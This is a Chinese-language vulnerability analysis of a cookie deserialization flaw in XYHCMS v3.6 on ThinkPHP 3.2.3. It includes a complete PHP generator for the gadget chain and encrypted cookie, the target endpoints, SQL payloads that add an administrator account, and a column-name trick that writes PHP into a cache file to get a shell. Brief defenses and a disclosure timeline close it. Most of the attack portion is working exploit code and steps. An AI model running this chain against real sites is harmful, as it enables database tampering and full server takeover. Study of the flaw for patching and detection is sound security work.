痛失CVE之xyhcms(thinkphp3.2.3)反序列化
字数 1815 2025-08-06 08:35:22
XYHCMS (ThinkPHP 3.2.3) 反序列化漏洞分析与利用
漏洞概述
XYHCMS v3.6 (基于ThinkPHP 3.2.3框架)存在反序列化漏洞,攻击者可通过精心构造的Cookie数据触发反序列化操作,最终可能导致远程代码执行。该漏洞利用链复杂,涉及多个组件的交互。
漏洞背景
XYHCMS的配置文件以序列化形式存储在PHP文件中(如/App/Runtime/Data/config/site.php),这种存储方式存在安全隐患:
- 配置文件以PHP后缀存储,可能被直接访问
- 序列化数据存储在可访问位置
- 修复方案消极(仅过滤PHP标签)
漏洞分析
反序列化入口点
漏洞入口位于/App/Common/Common/function.php中的get_cookie函数:
function get_cookie($name, $key = '') {
if (!isset($_COOKIE[$name])) {
return null;
}
$key = empty($key) ? C('CFG_COOKIE_ENCODE') : $key;
$value = $_COOKIE[$name];
$key = md5($key);
$sc = new \Common\Lib\SysCrypt($key);
$value = $sc->php_decrypt($value);
return unserialize($value);
}
关键点:
- 从Cookie中获取数据
- 使用
CFG_COOKIE_ENCODE作为密钥(可在site.php中找到) - 先解密后反序列化
加密/解密机制
加密解密由SysCrypt类处理(位于/App/Common/Lib/SysCrypt.class.php):
class SysCrypt {
private $crypt_key;
public function __construct($crypt_key) {
$this->crypt_key = $crypt_key;
}
// 加密方法
public function php_encrypt($txt) {
srand((double)microtime() * 1000000);
$encrypt_key = md5(rand(0,32000));
$ctr = 0;
$tmp = '';
for($i = 0;$i<strlen($txt);$i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $encrypt_key[$ctr].($txt[$i]^$encrypt_key[$ctr++]);
}
return base64_encode(self::__key($tmp,$this->crypt_key));
}
// 解密方法
public function php_decrypt($txt) {
$txt = self::__key(base64_decode($txt),$this->crypt_key);
$tmp = '';
for($i = 0;$i < strlen($txt); $i++) {
$md5 = $txt[$i];
$tmp .= $txt[++$i] ^ $md5;
}
return $tmp;
}
// 密钥处理
private function __key($txt,$encrypt_key) {
$encrypt_key = md5($encrypt_key);
$ctr = 0;
$tmp = '';
for($i = 0; $i < strlen($txt); $i++) {
$ctr = $ctr == strlen($encrypt_key) ? 0 : $ctr;
$tmp .= $txt[$i] ^ $encrypt_key[$ctr++];
}
return $tmp;
}
}
反序列化利用链
利用链如下:
- 触发点:
Think\Image\Driver\Imagick的__destruct()方法 - 调用任意类的
destroy()方法(通过Memcache驱动) - 跳转到
Think\Model的delete()方法 - 最终执行任意SQL语句
关键类和方法:
Think\Image\Driver\Imagick::__destruct()Think\Session\Driver\Memcache::destroy()Think\Model::delete()Think\Db\Driver\Mysql::execute()
漏洞利用
利用前提
- PHP 5.x环境(PHP 7+无法利用)
- 获取
CFG_COOKIE_ENCODE值(位于/App/Runtime/Data/config/site.php) - 前台会员功能可用(注册/登录)
利用步骤
-
获取加密密钥:
访问/App/Runtime/Data/config/site.php获取CFG_COOKIE_ENCODE值 -
生成Payload:
使用以下工具生成加密的反序列化Payload:
<?php
class SysCrypt {
// ... SysCrypt类实现同上 ...
}
function set_cookie($args, $key = '') {
$key = 'YOUR_CFG_COOKIE_ENCODE'; // 替换为实际获取的密钥
$value = serialize($args);
$key = md5($key);
$sc = new SysCrypt($key);
$value = $sc->php_encrypt($value);
return $value;
}
// 构造反序列化链
namespace Think\Db\Driver;
use PDO;
class Mysql{
protected $options = array(
PDO::MYSQL_ATTR_LOCAL_INFILE => true
);
protected $config = array(
"dsn" => "mysql:host=your_mysql_server;dbname=xyhcms;port=3306",
"username" => "root",
"password" => "root"
);
}
namespace Think;
class Model{
protected $options = array();
protected $pk;
protected $data = array();
protected $db = null;
public function __construct(){
$this->db = new \Think\Db\Driver\Mysql();
$this->options['where'] = '';
$this->pk = 'luoke';
$this->data[$this->pk] = array(
"table" => "xyh_admin_log",
"where" => "id=0; YOUR_SQL_PAYLOAD"
);
}
}
namespace Think\Session\Driver;
class Memcache{
protected $handle;
public function __construct() {
$this->handle = new \Think\Model();
}
}
namespace Think\Image\Driver;
class Imagick{
private $img;
public function __construct() {
$this->img = new \Think\Session\Driver\Memcache();
}
}
// 生成Payload
$payload = new \Think\Image\Driver\Imagick();
echo set_cookie($payload);
?>
-
设置恶意Cookie:
将生成的Payload设置为uid或nickname的Cookie值,发送到以下接口:/index.php?s=/Public/loginChk.html/index.php?s=/Home/Member/index.html
-
执行SQL注入:
通过PDO执行任意SQL语句,例如:- 添加管理员:
"where" => "id=0;insert into xyhcms.xyh_admin (id,username,password,encrypt,user_type,is_lock,login_num) VALUES (222,'test','88bf2f72156e8e2accc2215f7a982a83','sggFkZ',9,0,4);" - 读取数据:
"where" => "id=0; update xyhcms.xyh_guestbook set content=user() where id=1;"
- 添加管理员:
-
获取Shell:
方法一:通过恶意MySQL服务器读取文件
方法二:通过修改表结构注入PHP代码:alter table xyh_guestbook add column `<script language='php'>phpinfo();</script>` varchar(10);然后访问留言板生成缓存文件
/App/Runtime/Data/_fields/xyhcms.xyh_guestbook.php
防御措施
- 不要将序列化数据存储在可访问的PHP文件中
- 配置文件应使用非PHP后缀或存储在web目录外
- 对Cookie数据进行严格验证
- 升级到ThinkPHP更高版本
- 使用PHP 7+环境
漏洞影响
- 远程代码执行
- 数据库操作
- 敏感信息泄露
- 系统完全控制
时间线
- 2020年5月:首次发现配置文件写入漏洞
- 2021年3月:发现反序列化利用链
- CNVD-ID:CNVD-2021-05552
总结
该漏洞利用链复杂但危害严重,结合了反序列化、SQL注入和文件写入等多种技术。开发人员应避免将敏感数据以序列化形式存储在可访问位置,并严格验证所有用户输入。